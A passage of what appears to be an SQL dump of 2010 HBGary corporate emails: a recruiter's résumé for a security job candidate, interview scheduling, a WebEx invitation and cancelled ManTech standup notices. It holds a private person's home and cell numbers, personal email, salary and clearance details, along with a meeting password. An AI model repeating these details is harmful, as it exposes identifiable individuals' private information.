time today.  If we keep it to a similar window I can talk tomorrow morning.\r\nOn Thu, Sep 2, 2010 at 12:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDo u have 16 minutes today?\r\n\r\n\r\n\r\n\r\nAaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\nCc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\n\r\n\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!\r\n\r\n\r\nHe said he&#39;s home all day today.\r\n\r\n\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\nThis guy looks interesting.  So I would like to vet his skill set, get one of our Forensic guys on the phone with him.  Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\n\r\n\r\n\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\n\r\n\r\n\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\n\r\n\r\n\r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\n\r\n\r\n\r\n\r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n\r\n\r\n\r\n\r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\n\r\n\r\n\r\n\r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\n\r\n\r\n\r\n\r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\n\r\n\r\n\r\n\r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n\r\n\r\n\r\n\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n\r\n\r\n\r\n\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\n\r\n\r\n\r\n\r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n\r\n\r\n\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\n\r\n\r\n\r\n\r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image.png&gt;\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',7243,'aaron_hbgary_com/7243.html'),(11271,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008583.M883737P14101Q6126.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: WILLIS C. MCDONALD II','Nvm ok I&#39;ll call u there.Sent from my iPhoneOn Sep 3, 2010, at 9:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nLet&#39;s do my x115 HB number.On Fri, Sep 3, 2010 at 8:59 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n10am would be great.  What # should I call you at and I will conference you in.Aaron\r\n\r\nOn Sep 3, 2010, at 8:55 AM, Phil Wallisch wrote:I could do 09:30 or 10:00.On Fri, Sep 3, 2010 at 4:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nNo worries.  What time can you do ?Sent from my iPadOn Sep 2, 2010, at 6:38 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron.  Sorry I didn&#39;t have time today.  If we keep it to a similar window I can talk tomorrow morning.\r\nOn Thu, Sep 2, 2010 at 12:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDo u have 16 minutes today?\r\n\r\n\r\n\r\n\r\nAaronSent from my iPhoneBegin forwarded message:From: Ed Wallach &lt;ed@wallachsearch.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: September 2, 2010 11:58:16 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\nCc: Alan Ehrlich &lt;alan@wallachsearch.com&gt;\r\n\r\n\r\nSubject: Re: WILLIS C. MCDONALD IIHi Aaron,Willis would love to speak with your guys today!\r\n\r\n\r\nHe said he&#39;s home all day today.\r\n\r\n\r\nHis contact info is:Home- (678) 425-9890Cell - (770) 235-5471willismcdonald2@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nThanks-EdOn Sep 1, 2010, at 3:47 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\nThis guy looks interesting.  So I would like to vet his skill set, get one of our Forensic guys on the phone with him.  Does that work?AaronOn Sep 1, 2010, at 1:16 PM, Ed Wallach wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,here&#39;s a new recruit-lives in GA...will relo up here in 2 seconds...has an FSP!!\r\nCANDIDATE&#39;S NAME:  WILLIS C. MCDONALD IICURRENTLY LIVES IN:  GA			WILL RELOCATEGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\n\r\n\r\n\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. CURRENT SALARY:  $78,000         CLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)EDUCATION AND TRAINING:2006 - 2008 B.S. Information Technology\r\n\r\n\r\n\r\n\r\n\r\nSouthern Polytechnic State University, Marietta GA2002 - 2005 Electrical and Computer EngineeringUniversity of New Orleans, New Orleans LA2010 FOR558 Network ForensicsSANSfire  Baltimore MD\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY OF QUALIFICATIONS:Over 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\n\r\n\r\n\r\n\r\nPROFESSIONAL EXPERIENCE:2008 - PresentGlobal Network Exploitation and Vulnerability AnalystNational Security Agency, Fort Gordon GAResponsibilities included:  Performing interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\n\r\n\r\n\r\n\r\n\r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  Attended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n\r\n\r\n\r\n\r\n2006 - 2008  Network AdministratorThe Community Bank, Loganville GADuties included but were not limited to:Responsible for ensuring overall health and security of bank information systems.  \r\n\r\n\r\n\r\n\r\n\r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\n\r\n\r\n\r\n\r\n\r\nAlso, implemented Nagios event monitoring for all servers and security devices.2006 - 2006 Senior TechnicianPifusion Development Group, Tucker GAPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\n\r\n\r\n\r\n\r\n\r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  Implemented and designed network systems for new and existing locations.  Also assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n\r\n\r\n\r\n\r\n2002 - 2006  Supervisor TraineeMcDonald Enterprises, Slidell LAAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  Duties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n\r\n\r\n\r\n\r\n1998 - 2002 Assistant AdministratorFirearms Training Systems, Suwanee GAAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\n\r\n\r\n\r\n\r\n\r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  Also repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n\r\n\r\n\r\n\r\n1995 - 1996IT SpecialistMFP/King Computer, Norcross GAResponsible for assessment and remediation of off-lease IBM PCs.  Remediation included loading and configuring systems to customer specifications.  \r\n\r\n\r\n\r\n\r\n\r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  \r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;app_full_proxy.php.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach \r\n\r\n\r\n\r\n\r\n\r\nPresident &amp; CEO\r\n\r\n\r\n\r\n\r\n\r\nEd Wallach Search Group \r\n\r\n\r\n\r\n\r\n\r\n301-365-3291 office  \r\n\r\n\r\n\r\n\r\n\r\n301-613-0629 mobile\r\n\r\n\r\n\r\n\r\n\r\n301-365-3292 fax ed@wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image.png&gt;\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',2832,'aaron_hbgary_com/2832.html'),(11272,'2010-09-03','\"Phil Wallisch\" <messenger@webex.com>','/aaron@hbgary.com/new/1297008584.M136837P14101Q6127.eml','aaron@hbgary.com','Meeting invitation: Interview',' Hello Aaron Barr,   Phil Wallisch invites you to attend this online meeting.   Topic: Interview  Date: Friday, September 3, 2010  Time: 10:00 am, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 574 566 843  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154715087&UID=1167221717&PW=NZWYzZTI4OTQ5&RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna123  4. Click \"Join\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=154715087&UID=1167221717&PW=NZWYzZTI4OTQ5&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=154715087&tollFree=0   Access code:574 566 843   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   phil@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=154715087&UID=1167221717&ICS=MI&LD=1&RD=2&ST=1&SHA2=XJMz1RI1GGPTK8KCZl0bQTAYGVgVpjl5jaXW/UtGfe4=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',2850,'aaron_hbgary_com/2850.html'),(11273,'2010-09-03','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008584.M391199P14101Q6128.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Saturday, September 04, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDaily status meetings will resume on Tuesday, September 7th, 2010\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference:\r\n=============================\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036\r\nUse the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad\r\nTo install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8\r\n\r\n*Blackberry : 888-621-9644x8211036 \r\n\r\nTo connect with your *TELEPHONE ONLY* (no computer):\r\n==============================================\r\n1. Dial the number of the location closest to you:\r\n*  ManTech Conference Number:  1-888-621-9644 (Toll Free:  yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2. When prompted, enter the Event Number:  8211036 \r\n\r\n3. While connected:\r\n    - To mute/un-mute your phone, dial *6\r\n    - To learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',5970,'aaron_hbgary_com/5970.html'),(11274,'2010-09-03','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008584.M709184P14101Q6129.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Sunday, September 05, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDaily status meetings will resume on Tuesday, September 7th, 2010\r\n\r\n\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference:\r\n=============================\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036\r\nUse the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad\r\nTo install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8\r\n\r\n*Blackberry : 888-621-9644x8211036 \r\n\r\nTo connect with your *TELEPHONE ONLY* (no computer):\r\n==============================================\r\n1. Dial the number of the location closest to you:\r\n*  ManTech Conference Number:  1-888-621-9644 (Toll Free:  yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2. When prompted, enter the Event Number:  8211036 \r\n\r\n3. While connected:\r\n    - To mute/un-mute your phone, dial *6\r\n    - To learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',2605,'aaron_hbgary_com/2605.html'),(11275,'2010-09-03','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008584.M984595P14101Q6130.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,shleep@thebuffalogroup.com,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Monday, September 06, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDaily status meetings will resume on Tuesday, September 7th, 2010\r\n\r\n\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference:\r\n=============================\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036\r\nUse the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad\r\nTo install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8\r\n\r\n*Blackberry : 888-621-9644x8211036 \r\n\r\nTo connect with your *TELEPHONE ONLY* (no computer):\r\n==============================================\r\n1. Dial the number of the location closest to you:\r\n*  ManTech Conference Number:  1-888-621-9644 (Toll Free:  yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2. When prompted, enter the Event Number:  8211036 \r\n\r\n3. While connected:\r\n    - To mute/un-mute your phone, dial *6\r\n    - To learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',10173,'aaron_hbgary_com/10173.html'),(11276,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008585.M212918P14101Q6131.eml','willismcdonald2@gmail.com','Fwd: Meeting invitation: Interview','Can u dial in to the following number?AaronSent from my iPhoneBegin forwarded message:From: Phil Wallisch &lt;messenger@webex.com&gt;\r\nDate: September 3, 2010 1:43:43 PM EDTTo: aaron@hbgary.comSubject: Meeting invitation: InterviewReply-To: phil@hbgary.com\r\n Hello Aaron Barr,   Phil Wallisch invites you to attend this online meeting. \r\n  Topic: Interview  Date: Friday, September 3, 2010  Time: 10:00 am, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 574 566 843  Meeting Password: ddna123    ------------------------------------------------------- \r\n To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;RT=MiMxMQ%3D%3D \r\n 2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna123  4. Click &quot;Join&quot;.   To view in other time zones or languages, please click the link: \r\n https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;ORT=MiMxMQ%3D%3D \r\n  -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=154715087&amp;tollFree=0 \r\n  Access code:574 566 843   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc \r\n 2. On the left navigation bar, click &quot;Support&quot;.   You can contact me at:   phil@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link: \r\n https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=XJMz1RI1GGPTK8KCZl0bQTAYGVgVpjl5jaXW/UtGfe4=&amp;RT=MiMxMQ%3D%3D \r\n  The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php \r\n  Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com \r\n    IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of 